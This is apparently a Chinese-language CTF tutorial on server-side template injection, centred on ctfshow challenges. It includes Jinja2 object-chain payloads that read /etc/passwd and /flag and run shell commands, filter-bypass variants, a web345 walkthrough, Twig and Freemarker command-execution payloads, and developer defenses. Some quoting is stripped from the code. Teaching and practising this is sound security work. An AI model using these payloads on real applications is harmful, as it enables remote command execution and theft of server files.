
1. SSTI模板注入攻击概述SSTIServer-Side Template Injection是一种常见的Web安全漏洞它允许攻击者通过模板引擎的解析机制注入恶意代码。在CTF比赛中这类题目频繁出现特别是ctfshow平台的Web入门系列。模板注入与常规的SQL注入、XSS攻击不同它针对的是服务器端的模板渲染过程。模板引擎原本是为了方便开发者动态生成HTML而设计的比如Python的Jinja2、PHP的Smarty、Java的Freemarker等。当用户输入被直接拼接到模板中时如果缺乏适当的过滤和转义就会产生注入漏洞。攻击者可以通过精心构造的输入突破模板的限制执行任意代码或读取敏感数据。注意不同编程语言的模板引擎语法差异很大但漏洞原理相通。在ctfshow的题目中Python的Jinja2和PHP的Twig出现频率最高。2. SSTI漏洞检测与确认2.1 基础检测方法最简单的检测方式是插入模板表达式语法。对于疑似Jinja2引擎的环境可以尝试输入{{7*7}}如果页面返回49就存在注入漏洞。其他常见测试payload{{7*7}}→ 7777777Python${7*7}→ 49某些Java模板% 7*7 %→ 49ERB模板如果页面返回错误信息要特别关注堆栈跟踪其中往往包含使用的模板引擎类型和版本信息。ctfshow的题目通常会给出明确提示但实际比赛中需要自己判断。2.2 上下文识别技巧模板注入分为两类情况直接文本上下文用户输入直接作为模板内容解析template fHello, {user_input} # 危险代码上下文用户输入作为模板变量值template Hello, {{name}} render(nameuser_input) # 相对安全在ctfshow的题目中第一种情况更为常见。可以通过输入特殊字符如${{%[%}}%\观察报错行为来判断上下文类型。3. 利用链构造与Payload设计3.1 Python(Jinja2)利用链Jinja2是ctfshow题目中最常出现的模板引擎。其利用链通常基于Python的对象继承关系{{ .__class__.__mro__[1].__subclasses__() }}这个payload展示了经典的对象链调用空字符串的__class__获取其类型str__mro__获取方法解析顺序tuple索引1获取object基类__subclasses__()列出所有子类从返回的子类列表中我们需要寻找危险的类比如os._wrap_close可用于执行命令subprocess.Popen执行系统命令warnings.catch_warnings包含文件操作3.2 常用Payload集合根据ctfshow题目特点整理这些高频有效payload信息收集{{ config }} # 查看Flask配置 {{ self.__dict__ }} # 查看当前模板对象文件读取{{ .__class__.__mro__[1].__subclasses__()[40](/etc/passwd).read() }}命令执行{{ .__class__.__mro__[1].__subclasses__()[213](ls,shellTrue,stdout-1).communicate()[0] }}绕过过滤当关键字被过滤时可以使用这些技巧字符串拼接__class__十六进制编码\x5f\x5fclass\x5f\x5f属性访问替代getattr(, __class__)4. ctfshow真题实战解析4.1 Web入门题SSTI典型结构ctfshow的SSTI题目通常采用Flask框架核心漏洞代码类似app.route(/vuln) def vuln(): name request.args.get(name, guest) template fh1Hello {name}!/h1 return render_template_string(template)解题步骤测试基础payload确认漏洞枚举可用子类寻找利用点构造最终payload获取flag4.2 题目Web345详解以ctfshow的web345为例题目给出了一个简单的欢迎页面。通过测试发现{{7*7}}返回49确认SSTI。使用子类枚举payload后发现第40号是class os._wrap_close。构造文件读取{{ .__class__.__mro__[1].__subclasses__()[40](/flag).read() }}但题目设置了过滤需要绕过过滤了class→ 使用__class__替代过滤了[]→ 使用__getitem__方法过滤了os→ 通过数字索引引用最终payload{{ |attr(\x5f\x5fclass\x5f\x5f)|attr(\x5f\x5fmro\x5f\x5f)|attr(\x5f\x5fgetitem\x5f\x5f)(1)|attr(\x5f\x5fsubclasses\x5f\x5f)()|attr(\x5f\x5fgetitem\x5f\x5f)(40)(/flag).read() }}5. 防御措施与安全建议5.1 开发者防护方案对于使用模板引擎的开发人员永远不要直接拼接用户输入到模板使用安全的模板变量传递方式# 安全做法 return render_template(index.html, nameuser_input)启用模板引擎的沙箱模式如果有对动态内容严格过滤特别是__、{{等特殊符号5.2 CTF选手注意事项在ctfshow等平台解题时先确定模板引擎类型通过错误信息或特征测试准备不同引擎的payload字典注意题目是否设置了特殊过滤规则善用Python的dir()函数探索对象属性当直接执行命令失败时尝试先读取源码经验遇到复杂过滤时可以先用print(dir())查看可用对象往往能发现意想不到的利用链。6. 扩展知识与资源6.1 其他模板引擎payload除了Jinja2ctf中常见的模板引擎利用方式Twig(PHP){{_self.env.registerUndefinedFilterCallback(exec)}}{{_self.env.getFilter(cat /flag)}}Freemarker(Java)#assign exfreemarker.template.utility.Execute?new() ${ ex(id) }6.2 自动化工具推荐虽然手动构造payload是基本功但也可以使用这些工具提高效率tplmap自动检测和利用SSTIJinja2调试器交互式测试模板渲染Burp Suite插件如SSTI Scanner不过ctfshow的题目通常需要定制化payload工具往往只能作为辅助。真正理解原理才能应对各种变形题目。